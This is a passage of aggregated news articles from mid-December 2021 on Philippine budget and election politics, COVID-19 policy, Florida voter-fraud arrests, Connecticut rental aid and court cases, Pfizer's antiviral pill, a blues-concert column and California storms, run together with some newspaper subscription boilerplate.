[Translation: If we see the need to add because there are not enough donations, then we can fund the unprogrammed.] Angara earlier noted that all of the unprogrammed 70 billion funds for vaccine procurement this year were eventually funded. Yap said that under the bicam report, lawmakers also want to allocate 3.5 billion for the down payment of six C-130 cargo planes, which will be used for COVID-19 response, including the rollout of booster shots. Another salient feature of the bicam report, according to Yap, is an almost 50 billion allotment for the SRA, an item missing in the National Expenditure Plan submitted by the Budget department to Congress. The SRA has been a contentious topic in congressional hearings as medical frontliners complained of not receiving the risk allowance promised under the Bayanihan or pandemic response laws. Yap said the bicam also seeks 32 billion for state universities and colleges as the country looks forward to expanding the resumption of face-to-face classes. Lawmakers aim to ratify the bicam report during the Senate and House plenary sessions this afternoon. The ratified version of the 2022 General Appropriations Act will then be sent to President Rodrigo Duterte for his signature. RELATED: House, Senate reach 'compromise' on NTF-ELCAC budget at 17B Metro Manila (CNN Philippines, December 15) The Department of the Interior and Local Government (DILG) will release a memorandum circular on protocols to be followed for pre-election campaign activities. "Supposedly ang guidance will come from the Comelec, pero in this na ang sinasabi ng Comelec ay may loophole, kami na po sa DILG, si Sec. Eduardo Ano po ay maglalabas ng memorandum circular tungkol sa pre-election campaign activities at paano makakuha ng permit para sa activities na ito," DILG Undersecretary and spokesperson Jonathan Malaya said at the Laging Handa briefing on Wednesday. [Translation: Supposedly the guidance will come from the Comelec, but in this case where the Comelec is saying there is a loophole, we in the DILG, Secretary Eduardo Ano will release a memorandum circular about pre-election campaign activities and how to get permits for these activities.] Malaya did not say though when the memo would be released, or if it had already been drafted. He added that previous rules state politicians or their supporters should seek the required permits from mayors of the cities or municipalities if they want to hold such gatherings. "At kailangan ito po ay five working days bago idaos ang pagpupulong," Malaya said. [Translation: And this should be done five working days before the gathering is held.] The Metro Manila Development Authority previously released guidelines for caravans and political gatherings. In a separate interview with CNN Philippines on Wednesday, MMDA general manager Atty. Don Artes said these are applicable to all organizers regardless of their party. Metro Manila (CNN Philippines, December 15) The Health Department maintains that there is "no issue" on the supposedly botched 50-million syringe deal, noting that the matter being raised was caused by the agency's effort to ensure full compliance with government procurement rules. Health Undersecretary Rosario Vergeire said Wednesday that around 4 million syringes were distributed to various areas in time for the second round of the government's nationwide immunization program. "We do not have information as to why they were saying we dropped the ball because we coordinated with the supplier from the very first time they communicated with us," said Vergeire. Vergeire was referring to the allegation of Foreign Affairs Secretary Teodoro Locsin Jr. that the Philippines "dropped the ball" on the syringe deal, just like it did last year when Health Secretary Francisco Duque III failed to secure the offer for an early supply of COVID-19 vaccines from American drug maker Pfizer. RELATED: Locsin: PH 'dropped the ball' on possible syringe offer "[The supplier was] saying we were offering too low a price for these specific syringes. But we cannot go beyond...because that would be a violation of the Procurement Act," she said. Vergeire said the government hopes to receive over 44 million 0.3mL syringes primarily intended for the Pfizer vaccine. The supply, though, has yet to stabilize globally. She said funds for tuberculin syringes have been downloaded for now so they can be used as alternative to make up for the shortage. The government is also processing the emergency procurement of 0.5 mL syringes intended for other vaccine brands from a pool of suppliers, which includes the company involved in the previously botched deal. Last month, the Department of Health admitted the country faced delays in the delivery of syringes, citing an 'apparent global shortage.'" The World Health Organization also earlier warned of a possible shortfall of billions of syringes for coronavirus inoculations come 2022. Metro Manila (CNN Philippines, December 15) Senator Panfilo Lacson will push for a "three-pronged solution" to address the smuggling of agricultural products and corruption in government if he wins the presidency next year. First on the presidential aspirant's list is fully automating the Bureau of Custom's operations. He said this will help prevent government officers from engaging in corruption. "Everything, from the filing of application for accreditation all the way to payment of taxes and duties, should be done online. This will eliminate human intervention every step of the way," he added. Second, according to Lacson, is "throwing the book at erring personnel by applying only one standard in dealing with such scalawags." The third and most important measure is "to practice leadership by example." Lacson said these will be strictly implemented if he becomes the next president. Metro Manila (CNN Philippines, December 15) The leadership of the ruling PDP-Laban is confident the party will remain a strong presence in the political scene, despite President Rodrigo Duterte and Senator Bong Go withdrawing their candidacies in the upcoming polls. PDP-Laban will continue to be a force to be reckoned with because PDP-Laban will continue to be the dominant political party for the 2022 national and local elections provided by law, Karlo Nograles, executive vice president of the party, said Wednesday. Sen. Bong Go cancelled his presidential bid on Tuesday, with President Rodrigo Duterte following suit an hour later for his senatorial candidacy. Both officials ran under the Pederalismo ng Dugong Dakilang Samahan, which is allied with the PDP-Laban faction they are part of. https://cnnphilippines.com/news/2021/12/14/Bong-Go-withdraw-president-candidacy-2022.html Karamihan ng mga miyembro ng PDP at nag-file under PDP are incumbents, are second-termers, third-termers, comebackers even. So mabibigat na mga public officials ang tumatakbo under PDP-Laban, said Nograles, stressing the party has members from the provincial down to the district level. [Translation: Most of the members of PDP who filed (their candidacies) are incumbents, are second-termers, third-terms, comebackers even. So the public officials running under PDP-Laban are heavyweights.] The party official, who also serves as Dutertes acting spokesman, earlier said the chief executive dropped his senatorial bid so that he can spend more time with his family. It would also allow him to further focus on efforts to combat the COVID-19 pandemic and safely reopen the economy. Metro Manila (CNN Philippines, December 15) The country will remain under Alert Level 2 until yearend despite declining COVID-19 cases, the Department of Health said on Wednesday. Health Secretary Francisco Duque III confirmed that the current alert level will be in effect until December 31. "For now even though we are at Alert Level 2 in all of the regions of the country and areas, we are still very hesitant to give that kind of easing of restriction to Alert Level 1 because of the threat of Omicron variant," Health spokesperson Ma. Rosario Vergeire added. On Tuesday, the DOH reported 235 new COVID-19 cases, the lowest in 18 months. The last time the daily count was lower was on May 23, 2020, when there were less than 200 infections. Today, fresh infections stood at 237. The DOH separately confirmed the country's first two Omicron cases: both international travelers who have been isolated in a Bureau of Quarantine facility. "We are being cautious, at tama rin naman na dapat cautious muna tayo [and it is only right to be cautious] right now. Anyway, as we see it, 'yung economic numbers naman natin ay maganda. 'Yung employment numbers natin ay maganda rin, gumaganda na rin. 'Yung hunger, poverty numbers natin, bumababa na po," acting presidential spokesman Karlo Nograles said. [Translation: Our economic numbers are doing well. Our employment numbers are improving and our hunger and poverty numbers are going down.] Nograles further said the move to keep the entire country under Alert Level 2 allows authorities to secure the health and safety of Filipinos while at the same time, reopen the economy safely and ensure many are able to return to work. Cockpits, traditional cockfighting now allowed The Cabinet Secretary also announced cockpit operations and cockfighting may resume under Alert Level 2, provided there's no objection from local government units (LGUs). The country's pandemic task force require venues to operate at a maximum capacity of 50% for fully vaccinated people, including on-site workers. Bets may only be cast through cashless methods and technology-based platforms must be used, meaning there should be no oral placing of bets or physical exchange of cash. "We enjoin LGUs that will allow the resumption of cockfighting operations to strictly enforce and implement these protocols and to shut down operators that fail to adhere to our minimum health standards," Nograles said. Metro Manila (CNN Philippines, December 16) Presidential aspirant Manny Pacquiao will not allow divorce to be legalized in the country if he becomes president. Speaking to reporters on Wednesday, the senator argued that marriage is "sacred," citing the Bible. "Sabi nga sa [According to the] Bible what has God joined together, let man not separate. Sacred kasi 'yang pag-aasawa. Kaya nga may counseling muna bago ka mag-asawa dahil papasok kayo sa isang lifetime commitment [Marriage is sacred. There is counseling before marriage because you are entering into a lifetime commitment]," he said while in Tagum City, Davao del Norte. Pacquiao said while he will not stop legislators from passing a bill pushing for divorce, he will still not support its passage. Advocates have been pushing for the passage of a divorce bill - which is pending in both houses of Congress - due to cases of abuse in marriages, among other factors. But the measure has been widely opposed by religious groups. Pacquiao is known for his conservative stance on issues given his background as a "born again" Christian pastor. The Philippines and the Vatican are the only territories in the world left where divorce is illegal. Colorado Politics is published both in print and online. Our website features subscriber-only news stories daily, designed for public policy arena professionals. Member subscribers also receive the weekly print edition of our award-winning newspaper, containing outstanding features and news stories, in their mailboxes every Saturday. Are you a current print subscriber to Columbia Gorge News? If so, you qualify for free access to all content on columbiagorgenews.com. Simply verify with your subscriber id to receive free access. Your subscriber id may be found on your bill or mailing label. The Rock Island Trail would affect nearly 700 landowners, according to the Missouri Farm Bureau. The state estimates it could cost between $65 and $85 million to complete the trail and $576,000 annually to operate it. The Missourians Opinion section is a public forum for the discussion of ideas. The views presented in this piece are those of the author and do not necessarily reflect the views of the Missourian or the University of Missouri. If you would like to contribute to the Opinion page with a response or an original topic of your own, visit our submission form 87% Website jisho.org uses latest and advanced technologies. It is very popular on the web, it's within the 1 million most visited websites of the world at position 2759 by Alexa. It supports HTTPS and GZIP compression. The main html page has a size of 31146 bytes (30.42 kb uncompressed) and 8626 bytes (8.42 kb compressed). This CoolSocial report was updated on 2021-12-15, you can refresh this analysis whenever you want. In more terrible news about how terrible social media can be, researchers and most any right-wing propaganda group on Facebook have shown how posting cute animal pictures can lure people in and make their feeds vulnerable to all kinds of online misinformation and disinformation campaigns. This here truly is why we cant have nice things. Gary Bendig/Unsplash We dont deserve you, baby trash panda. It works like this: Prominent accounts from a media company (like their TV or radio stations) or affiliated individuals referred to as expert coronavirus doctors or whatever will first post some cute, positive stories about animals doing funny animal things, resulting in instant virality and all the likes because everyone knows that cute little creatures is the only online thing thatll get peoples attention quicker than porn. Cool, so now these accounts have posts with high numbers of engagements in the form of likes, comments, and sharing that researchers call engagement bait because the algorithm will now favor posts from the same publisher to pop up in users social feeds. Because a single publisher can have many different Facebook pages. At one point, Ben Shapiros The Daily Wire had around 14 pages on Facebook to help promote his content. Epoch Media has hundreds, and after Facebook eventually started banning some of those pages when it became glaringly obvious that The Epoch Times' incessant anti-China propaganda was being splattered all over Facebook, they started using animal posts to hide but still spread their terrible stuff. THE VILLAGES, Fla. (AP) Three voters from a Florida retirement community that is a GOP stronghold have been arrested on charges of voting more than once. The arrests come weeks after Republican Florida Gov. Ron DeSantis pledged to create a law enforcement agency to investigate election crimes, despite there being little evidence of electoral malfeasance in the Sunshine State. The three voters all residents of The Villages area were arrested over the past two weeks. They were each charged with casting more than one ballot in the 2020 election after complaints were filed by the Sumter County Supervisor of Elections. Jay Ketcik 63, was arrested last week on a charge of third-degree felony fraud. He entered a not guilty plea, and court records show he intends to attack the sufficiency of the charge." An arrest report did not detail why he was charged, but Orlando television station WKMG, citing court documents, reported he was accused of voting by mail in Florida in October 2020 while also casting an absentee ballot in Michigan. Joan Halstead, 71, was arrested two weeks ago for voting in person in Florida and by absentee ballot in New York during the 2020 election, according to an arrest report. She has entered a not guilty plea and also said in court papers she intends to attack the sufficiency" of the charge. John Rider, 61, was arrested at the beginning of the month on a similar charge. An arrest report did not say why he was facing the charge. There was no online docket in Sumter County yet for Rider, who was arrested in Brevard County, so it was not known if he had an attorney. No phone number was listed on an arrest report. Online records show Ketcik and Halstead are registered Republicans, while Rider has no party affiliation. The arrests come weeks after DeSantis proposed new restrictions on ballot drop boxes, creating the election police force and changes that would strengthen penalties for ballot harvesting. During his announcement, DeSantis, echoed many talking points on voting problems that have gained traction in the GOP following former President Donald Trumps false claims that his reelection was stolen from him. DeSantis is up for reelection next year and is eyeing a 2024 presidential run. The governor had previously praised the 2020 election in Florida as smooth, and there was widespread consensus among election officials and experts that there was no fraud that could have affected results in the last presidential election. An Associated Press review of every potential case of voter fraud in the six battleground states disputed by Trump has found fewer than 475 a number that would have made no difference in the 2020 presidential election. Connecticut has requested nearly $243 million in additional federal funds for its rental assistance program, newly released documents show. The money would be reallocated from states and localities that were slower to spend dollars and are identified as having excess funds. The U.S. Department of the Treasury plans to re-distribute money from some places that hadnt obligated at least 65 percent of their first round of funding through the Emergency Rental Assistance Program. The program aims to prevent evictions for people who fell behind on rental payments because of financial fallout from the COVID-19 pandemic. The need for assistance became even more urgent in August when the U.S. Supreme Court overturned the months-long ban on many evictions for nonpayment of rent. Nationally, the rollout has been slow because of understaffed programs, uncooperative landlords and burdensome documentation requirements, among other issues, advocates have said. While Connecticuts program had a slow start, spending sped up in the fall when early technical problems were resolved. The program had two rounds. In total, Connecticut received about $371 million through the two rounds of funding and is now requesting $242.9 million more. So far, its spent about $313.1 million through its program, called Unite CT, according to data available Monday. The Consolidated Appropriations Act of 2021 allotted $25 billion for the first part of the program. The American Rescue Plan Act of 2021 provided up to $21.55 billion nationally. In its application, the state Department of Housing estimated that it would help 3,500 households per month from December to February, spending a total of about $26.1 million each month. That number was 3,214 households and $20.2 million in aid for November. The department submitted its application Nov. 23 and requested that the deadline for spending any additional funds received be extended to Dec. 29, 2022. The department calculated the projections based on the number of submitted applications in the pipeline, average number of cases approved for payment each week and the number of applications that come in weekly, spokesperson Aaron Turner said. The need [for rental assistance] in Connecticut is based on the number of fully submitted applications we have received, and continue to receive on a weekly basis, Turner wrote in an emailed response to questions from Hearst Connecticut Media Group. Just over 45,000 Connecticut residents said they were not confident they were going to make next months rent. More than 69,000 more said they were only slightly confident, according to October survey data from the U.S. Census Bureau. Renters are eligible for the program if they earn up to 80 percent of area median income and were financially impacted by the pandemic. Up to $15,000 in rental assistance is available. Treasury has not yet responded to the states request for additional funds, Turner said. File / Tyler Sizemore / Hearst Connecticut Media More than 109 million people are expected to travel during the upcoming holiday weekends this month, according to AAA. The agency said this years travel volume is about 34 percent higher than last year, with almost 28 million more people expected to travel this year between Dec. 23 and the start of January. This increase brings the overall travel volume up to 92 percent of the 2019 pre-pandemic levels, AAA said. Gov. Ned Lamont said Monday he has no plans to send Connecticuts schools back to remote learning even as data shows the new wave of infections is impacting hundreds of districts with cases mostly among unvaccinated children. In the latest weekly report, schools across Connecticut reported a total of 1,881 COVID cases among students, up nearly 75 percent from the academic-year low of 487 that was reported the week ending on Nov. 3. Cases among students have been rising steadily since mid-November, mirroring a similar trend seen among the general population of Connecticut, where the positivity rate of COVID-19 tests, overall infections and hospitalizations including a jump of 60 more patients over the weekend have increased sharply in recent weeks. When asked Monday about the rising case rates at an event at Staples High School in Westport, Lamont said he has not given any thought to sending schools into remote learning again as a precaution against the virus. Our schools opened a year-plus ago, they opened safely, they were some of the safest places in Connecticut, Lamont said, pointing out that additional precautions, such as vaccines, have since become available. Through the weekend, Connecticut saw the positivity rate, which was averaging above 6 percent, fall to 2.21 percent when 1,220 cases were found among 55,146 tests. Hospitalizations climbed another 60 patients for a total of 645. State officials said Monday that 507 of the people hospitalized with COVID are not vaccinated. The rise in school cases comes weeks after federal regulators expanded vaccination eligibility to children ages 5 to 11, now encompassing all K-12 school children. High school students 16 and older can now also receive the Pfizer booster. However, the majority of cases still involve children who are unvaccinated, the data shows. Of the 1,881 student cases, 1,523 were not fully vaccinated, according to state data, and 158 were among children whose vaccination status was unknown. Despite broad eligibility, the latest figures show that 27 percent of children between the ages of 5 and 11 are fully vaccinated, potentially showing a slow demand for doses in this age group. Nearly 700 Connecticut schools had reported COVID cases in the week leading up to Thursdays report, the data shows. Many of the schools reported fewer than six cases. If there are fewer than six cases, school districts are not required to report the exact number. The rise in cases among teachers and other school staff has been similar, state data shows. There were 384 COVID-19 cases among school staff in the last report, a 76-percent jump from a low of 92 in early November. Unlike with students, the majority of cases among staff involve those who are fully vaccinated. Teachers and other school staff were among the first eligible to receive a vaccine and booster shots and officials have said a high percentage are fully vaccinated. Despite rises in cases, school districts across Connecticut have remained committed to keeping students in classrooms full-time this academic year. In recent communications to school district superintendents, the states education department has said it is expanding school-based testing and has been sharing information about a new quarantine protocol that aims to lessen the requirements for vaccinated students to stay home if exposed to COVID-19 in schools. Im doing everything I can to make sure we keep our schools open for in-person learning, Lamont said Monday. Staff writer John Moritz contributed to this story. WASHINGTON (AP) Pfizer said Tuesday that its experimental pill to treat COVID-19 appears effective against the omicron variant. The company also said full results of its 2,250-person study confirmed the pill's promising early results against the virus: The drug reduced combined hospitalizations and deaths by about 89% among high-risk adults when taken shortly after initial COVID-19 symptoms. Separate laboratory testing shows the drug retains its potency against the omicron variant, the company announced, as many experts had predicted. Pfizer tested the antiviral drug against a man-made version of a key protein that omicron uses to reproduce itself. The updates come as COVID-19 cases, deaths and hospitalization are all rising again and the U.S. topped 800,000 pandemic deaths. The latest surge, driven by the delta variant, is accelerating due to colder weather and more indoor gatherings, even as health officials brace for the impact of the emerging omicron mutant. The Food and Drug Administration is expected to soon rule on whether to authorize Pfizers pill and a competing pill from Merck, which was submitted to regulators several weeks earlier. If granted, the pills would be the first COVID-19 treatments that Americans could pick up at a pharmacy and take at home. President Joe Biden called Pfizer's drug another potentially powerful tool in our fight against the virus, in a statement Tuesday. The U.S. government has agreed to purchase enough of Pfizers drug to treat 10 million people. But company executives have indicated that initial supplies will be limited, with only enough to treat tens of thousands of people before the end of the year. By March Pfizer hopes to ramp up production to provide millions of courses of treatment. Pfizers data could help reassure regulators of its drug's effectiveness after Merck disclosed smaller-than-expected benefits for its drug in final testing. Late last month, Merck said that its pill reduced hospitalizations and deaths by 30% in high-risk adults. Both companies initially studied their drugs in unvaccinated adults who face the gravest risks from COVID-19, due to older age or health problems, such as asthma or obesity. Pfizer is also studying its pill in lower-risk adults including a subset who are vaccinated but reported mixed data for that group on Tuesday. In interim results, Pfizer said its drug failed to meet its main study goal: sustained relief from COVID-19 for four days during or after treatment, as reported by patients. But the drug did achieve a second goal by reducing hospitalizations by about 70% among that group, which included otherwise healthy unvaccinated adults and vaccinated adults with one or more health issues. Less than 1% of patients who got the drug were hospitalized, compared with 2.4% of patients who got a dummy pill. An independent board of medical experts reviewed the data and recommended Pfizer continue the study to get the full results before proceeding further with regulators. Across both of Pfizers studies, adults taking the company's drug had a 10-fold decrease in virus levels compared with those on placebo. The prospect of new pills to fight COVID-19 cant come soon enough for communities in the Northeast and Midwest, where many hospitals are once again being overloaded by incoming virus cases. Both the Merck and Pfizer pills are expected to perform well against omicron because they dont target the coronavirus spike protein, which contains most of the new variants mutations. Centers for Disease Control and Prevention Director Rochelle Walensky, appearing on NBCs Today on Tuesday, said the best way for people to protect themselves against COVID-19 is to get vaccinated and get a booster shot. She said the Pfizer pill, if authorized by the FDA, will be another great tool, but we need to diagnose people early. ___ Follow Matthew Perrone on Twitter: @AP_FDAwriter ___ The Associated Press Health and Science Department receives support from the Howard Hughes Medical Institutes Department of Science Education. The AP is solely responsible for all content. As we approach Christmas, the blues schedule slows down a bit but there are plenty of shows out there to keep you busy and entertained. Sunday, the Connecticut Blues Society presents Hash Browns Annual Holiday Homecoming Jam. The CTBS All-Stars will be backing featured guest Texas Blues great, Brian Hash Brown Calway. Hash is originally from Connecticut, but has called Dallas home for many years, making a name for himself on both the Texas and national blues scenes. Showtime is from 1-5 p.m. at the Pine Loft. Musicians, bring your instruments. Amps, drums, keyboard and a PA are provided. Hash Brown is at Theodores BBQ on Saturday. Big Al Anderson continues his visit to the state Saturday with a stop at FTC StageOne. Anderson and the Floor Models have two Infinity Hall stops around FTC. Friday, he is in Hartford and Sunday in Norfolk. CT Grateful Dead All-Stars are performing Thursday at the FTC The Warehouse. No other group like the Grateful Dead united so many strains of American music, from rock to blues to country to jazz to psychedelia, so comprehensively, so singularly, and for so long. Luckily, connecting with the Deads music has never been easier. A collection of local musicians with Matt McNulty up front, come together to celebrate the music of the Grateful Dead. Sunday Park City Music Hall will have GA-20 with The Suitcase Junket. You can expect some heavy blues from this trio of Pat Faherty, Matthew Stubbs and Tim Carman. Born out of a mutual love of heavy traditional 50s-60s era blues, R&B and rock and roll. Retro blues-wailers GA-20 was formed by Faherty and Stubbs (Charlie Musselwhite Band) after bonding over legendary artists. Now a trio featuring two lead guitars, vocals and drums the music is raw, passionate and honest. On Saturday it is the Grand Opening of The Barn in Groton. The show will feature five bands: Kurt & Helen Band at noon, F & B Blues Band at 2 p.m.; The Night Shakers at 4 p.m.; Wooly Mammoth at 6 p.m.; and 5 Card Draw at 8 p.m. There will be provisions and food trucks on site. Friday, ONeills in Norwalk has The B-Side, and The Tipping Chair hosts Jamies Junk Show. Friday, Eric Ducoff Band Plays The Stomping Ground. Saturday, the Jonny Chapman Trio is at Notch 8. Also Dr. G and the Believers are at The Lyme Tavern on Saturday and Johnny & Carolyn Acoustic Duo play The Parrott Delaney Tavern. Also Saturday, Elle Sera is at the StationHouse Wine Bar & Grill and Phoenix Tree plays Sugar Hollow Taproom. The Club London has the Ratzo Blues Trio, while Ace & Friends are at Old Greenwich Social. The Dan Stevens acoustic blues tour has a Sunday visit to High Nine Brewing. Around the region, Ed Peabody and the Big Blue Thang have a Friday visit to Theodores BBQ and then Saturday they move over to Cadys Tavern. Saturday, The New Incredible Amplifires play pre-game(6pm) at Springfield Thunderbirds; and the Stanhope House has a Christmas Bash with Billy Hector, joined by the Midnight Horns. Also on Saturday, the Brunch at Daryls House has Muddy Ruckus. Friday, Daryls House brings in Donna The Buffalo. This is not just a band, but a lifestyle for its members and audiences. Since 1989, the roots rockers have played thousands of shows and countless festivals. They also toured with Ben & Jerrys co-founder Ben Cohen to help raise awareness about increased corporate spending in politics. In 2016, GrassRoots Culture Camp was introduced in Trumansburg, New York as four days of music, art, dance and movement workshops, including nightly dinners and dances. Friday, proper respect is given to the melodic masters in the iconic venue The Capitol Theater where they impacted the world forever. The Capitol Sessions: Songs from a Rock Palace That Impacted the World is headlined by two of the defining artists of the era: singer, songwriter, and Rock and Roll Hall of Fame inductee Jackson Browne and Jefferson Airplane and Hot Tuna guitarist and frontman Jorma Kaukonen. Amy Helm will also be there. Wednesday, Holiday Party with /Sugar Ray, Sax Gordon and Johnny Blue Horn at the Pub on Park. Into the gift giving season, remember the clubs and musicians who made it through the pandemic. Tickets also make a great holiday present. Tickets to the North Atlantic Blues Festival, July 16-17, make a nice gift. Its held on the Public Landing in Rockland, Maine. Theres also the White Mountain Boogie N Blues in 2022. Mike Laws choice is another great Christmas record, Roomful of Christmas. Law says, Not many blues singers can pull these songs off like Sugar Ray Norcia. If you have a reader on the gift list a new book The Legendary Toads Place has arrived. Put Music Makers 2021 Holiday Gift Guide includes two caps with a happening new logo. Get one for yourself, and outfit all the cap wearers in your family with Music Maker gear. Consider shopping your friendly neighborhood CAT HEAD Mississippi. Use the web store 24/7 at www.cathead.biz. Stop by the new, updated website for the latest Alligator CDs, LPs, DVDs, blu-rays, books, T-shirts and more. The Alligator Records Christmas Collection is an original holiday blues album featuring 14 past and present members of the Alligator family, each giving their own bluesy take on the holiday season. Performances by Koko Taylor, Elvin Bishop, Saffire The Uppity Blues Women, Charlie Musselwhite, and more were recorded exclusively for this album. See the Connecticut Blues Society for more gig listings: https://www.ctblues.org/weekly-calendar Any questions or comments should be sent to Domenic Forcella at TWBlus@aol.com. MILFORD Ansonia murder suspect Kamil Zielinski faced a judge Wednesday for the second time since his arrest for allegedly stabbing his wife to death while two of the couples children were home. In court, States Attorney Margaret Kelley said she had preliminary discussions with a lawyer hired by Zielinskis family, Adrian Baron, and provided him with a police report in the case. Judge Peter Brown scheduled a probable cause hearing a procedural requirement for defendants charged with murder for Jan. 5, but Zielinski could waive the hearing at a remote appearance slated for Dec. 29. During a probable cause hearing, the state presents evidence and a judge decides if there is enough to justify a murder charge. Zielinski was arrested Nov. 9 following the killing of his wife, Grace Zielinska, while the couples 3-year-old and 4-month-old were in the familys Root Avenue home and a 5-year-old was at school. Cops responding to a 911 call from the home allegedly found Zielinski covered in his wifes blood, after which he said What have I done? Shoot me. Just shoot me. I did it. Baron said outside the courtroom its too early to tell whether Zielinski will decide to waive the probable cause hearing or not. Were just at the discovery stage at this point, the lawyer said. Were going to have to review everything the state provides us and see what were going to do on the next court date. He said he has spoken with Zielinski, a native of Poland who has been in Connecticut for 18 years, and would be meeting with him this week. Obviously this is a tragic situation, Baron said. He comes from a good family. Zielinski was led into court Wednesday wearing a tan prison jumpsuit with his hands cuffed in front of him. He did not speak during his brief appearance. He has been behind bars since his arrest last month, after which Judge Brown ordered him put on suicide watch. He is currently being held at Garner Correctional Institution in Newtown in lieu of $1 million bond on charges of murder and risk of injury to a minor. Zielinskas killing prompted domestic violence victims advocates to take a closer look at the issue locally. A yearlong investigation by Hearst Connecticut Media Group released recently uncovered that despite the passage of legislation designed to reduce intimate partner violence and bolster support for victims in recent years, troubling gaps remain in the system. In the Naugatuck Valley, The Umbrella Center for Domestic Violence Services can be reached by phone at 203-736-9944, 203-789-8104 or 888-774-2900 or online. Statewide domestic violence resources can be reached by calling or texting 888-774-2900 or online at www.CTSafeConnect.org. BRIDGEPORT A city man, charged with being in possession of an assault rifle and body armor while awaiting trial for murder, wants to go to trial. With the courtroom crowded with his family, Richard Evans told Superior Court Judge Kevin Russo Wednesday that he was turning down a plea bargain of 55 years in prison and choosing instead to take his chances with a jury. I do find his choice to be voluntary and I will put the case on the trial list, the judge said. Evans lawyer, Assistant Public Defender Jared Millbrandt, and Supervisory Assistant States Attorney C. Robert Satti Jr., declined comment after the brief hearing. The 40-year-old Evans was arrested in August 2017 in connection with the fatal shooting of a co-worker at a local moving company. Evans is accused of fatally shooting Reginald May on July 2, 2017, in front of Mays Alice Street apartment building. He is charged with murder, criminal possession of a firearm and carrying a pistol without a permit. May, 44, was shot once in the chest and died at St. Vincents Medical Center. Police said Evans worked for a local moving company and had hired May for a job that took them to Virginia in June. However, once they got to Virginia, police said, the two men got into an altercation over money that ended when May punched Evans in the face. Police said witnesses told them that after getting punched Evans responded, OK, Reggie, I got you, which the witnesses took to mean that Evans was going to retaliate. Detectives viewed surveillance video from Alice Street at the time of the shooting and saw a hooded figure walking away from the shooting scene and getting into an older Cadillac Escalade that matched one owned by Evans, police said. Police said they later found the gun they believed was used in the shooting at the West Rock Nature Center in Hamden. Evans was free on bond while awaiting trial in the case when police said they received a call on the departments tip line that Evans had left a Stamford residence with a gun and a large quantity of drugs and was headed back to his home on Peet Street in Bridgeport. Caller is afraid because Richard is on trial for murder, police said the caller told them. Police said they set up a surveillance outside Evans home Monday night and spotted him carrying a cooler toward his home. They took him into custody and found a large quantity of marijuana in the cooler, police said. When officers searched Evans car, which was parked nearby, police said they found a Mini Draco assault rifle loaded with a 30-round magazine, a bulletproof vest, more than half a pound of ecstasy pills and 32 grams of fentanyl. Police said the assault rifle was previously reported stolen in Georgia. Evans was charged with possession of narcotics with intent to sell within 1,500 feet of a school, illegal possession of narcotics, criminal possession of body armor, criminal possession of a firearm, illegal possession of an assault weapon, stealing a firearm and violating his conditions of release. LOS ANGELES (AP) California emerged largely unscathed Wednesday from a massive storm that brought drenching rainfall and heavy mountain snow, as it prepared for another weather system likely to bring much needed relief to the drought-stricken state. Parts of the state were mopping up from small mudslides and restoring power that was knocked out. But the heavy rainfall record-setting in some areas didn't cause widespread flooding or unleash larger landslides in areas scarred by massive wildfires as feared. It was still too early to tell what impact the multiday atmospheric river a long plume of moisture from the Pacific Ocean that delivered remarkable precipitation as far inland as Nevada will have on the state's water supply. December kicks off the big three months for precipitation in California, with about half of the states annual rain and snow falling in December, January and February, said Michael Anderson, Californias state climatologist. The storm that began over the weekend and whats predicted to come this month will deliver about average precipitation, but that's far better than the past few years, he said. But you also started the year in record-setting drought territory, Anderson noted. In terms of making up those lost elements of storage, youre making some progress but maybe not as much as youd like. The storm dumped more than 11 inches (28 centimeters) of rain over three days at Mount Tamalpais, north of San Francisco. More than 8 inches (20 centimeters) of rain fell in Santa Barbara County. More than 4.6 inches (12 centimeters) fell within 24 hours in Orange Countys Silverado Canyon, south of LA, unleashing mud that swamped some homes and led to damage and several rescues but no injuries. A 40-mile (64-kilometer) stretch of the scenic Highway 1 in the Big Sur area remained closed to repair damage and clean up rocks that tumbled onto the road. The coastal route south of the San Francisco Bay Area got more than a foot (30 centimeters) of rain in 24 hours. It frequently experiences damage during wet weather. Three cars washed down the concrete channel of the Los Angeles River when it became a raging torrent Tuesday. Two were pinned against a bridge abutment. No victims were immediately located and authorities had no updates Wednesday. Drone footage showed a large homeless encampment of tents and tarps flooded on the banks of the San Lorenzo River in Santa Cruz. No one had to be rescued from the encampment in the city park and there were no injuries of deaths, city spokeswoman Elizabeth Smith said. Only 50 to 60 in the camp of roughly 200 to 250 people heeded warnings to evacuate before the rains came and moved to a parking garage where a temporary shelter was created and they were offered food and blankets. Its not a great situation for anybody, Smith said. The city is doing its best to support them in this time. The storm system brought a welcome dump in the Sierra Nevada, where ski areas that struggled in November reported upwards of 4 feet (1.2 meters) of fresh snow in advance of the busy Christmas and New Year's weekends. The Palisades Tahoe ski resort the newly renamed combination of Squaw Valley, home to the 1960 winter Olympics, and neighboring Alpine Meadows reported more than 5 feet (1.5 meters) of snow over three days. The promise of fresh powder was diminished Wednesday by a power outage that kept Alpine closed on what was to be its opening day, said spokeswoman Alex Spychalsky. Skiers and snowboarders who showed just after dawn at Olympic Valley had to wait hours for lifts to begin operating on the lower part of the mountain. Crews were working to get the upper lifts running by the weekend. When we get this much snow, its not like you can flip a switch to get things going, Spychalsky said. Were starting from ground zero this week. The forests around Lake Tahoe were frosted in snow and new snow was already falling Wednesday afternoon. Drizzle fell in San Francisco and other parts of Northern California expected showers and gusty winds, with snowfall in coastal mountains and the Sierra Nevada, where the snowpack normally supplies about 30% of the state's water needs. ___ Associated Press writer Kathleen Ronayne in Sacramento contributed to this report. Facing rising infections and a new COVID-19 variant, colleges across the U.S. have once again been thwarted in seeking a move to normalcy and are starting to require booster shots, extend mask mandates, limit social gatherings and, in some cases, revert to online classes. The threat of the omicron variant comes as a gut punch to schools that were hoping to relax safety measures this spring. Now, many are telling students to prepare for another term of masking, testing and, if cases get bad, limits around social life. Cornell University abruptly shut down all campus activities on Tuesday and moved final exams online after more than 700 students tested positive over three days. In a campus message, President Martha Pollack said there was evidence of the omicron variant in a significant number of samples. It is obviously extremely dispiriting to have to take these steps, Pollack wrote. However, since the start of the pandemic, our commitment has been to follow the science and do all we can to protect the health of our faculty, staff and students. Hours later, Princeton University moved its exams online and urged students to leave campus at their earliest convenience amid a rise in cases. On Wednesday, New York University canceled all non-academic events and encouraged professors to move finals online. Cornell, Princeton and NYU all report student vaccination rates of more than 98%. After a fall with few coronavirus cases, officials at Syracuse University were feeling pretty good about the spring term, said Kent Syverud, the upstate New York schools chancellor. But omicron has changed that, Syverud said. It has made us go back and say, until we know more about this variant for sure, were going to have to reinstate some precautions. Last week, Syracuse announced that all eligible students and employees must get COVID-19 booster shots before the spring term. Students will also face a round of virus tests when they return, and 